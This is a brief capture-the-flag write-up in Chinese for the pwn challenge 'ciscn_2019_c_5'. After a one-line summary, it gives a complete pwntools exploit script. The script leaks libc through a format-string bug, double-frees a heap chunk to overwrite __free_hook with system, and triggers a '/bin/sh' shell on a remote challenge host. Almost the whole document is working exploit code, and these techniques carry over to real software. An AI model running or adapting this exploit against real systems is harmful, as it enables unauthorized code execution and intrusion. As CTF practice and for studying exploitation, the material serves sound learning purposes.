思路
格式化字符串leak然後打free_hook
exp:
from pwn import *
#p=process('./ciscn_2019_c_5')
p=remote('node3.buuoj.cn',27000)
elf=ELF('./ciscn_2019_c_5')
libc=elf.libc
def add(size,story):
p.sendlineafter(':','1')
p.sendlineafter('story:',str(size))
p.sendlineafter('story:',story)
def edit():
p.sendlineafter(':','2')
def show():
p.sendlineafter(':','3')
def delete(idx):
p.sendlineafter(':','4')
p.sendlineafter('index:',str(idx))
p.recvuntil('name?')
#0x110081
p.sendline('%p%p%p%p%p%p%p')
p.recvuntil('59')
#p.recv(2)
libcbase=int(p.recv(14),16)-libc.sym['_IO_2_1_stderr_']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
p.recvuntil('ID.')
p.sendline('3')
add(0x30,'aaaa')#0
add(0x20,'cccc')#1
add(0x20,'/bin/sh\x00')
delete(0)
delete(0)
add(0x30,p64(free_hook))
add(0x30,'doudou')
add(0x30,p64(system))
delete(2)
p.interactive()
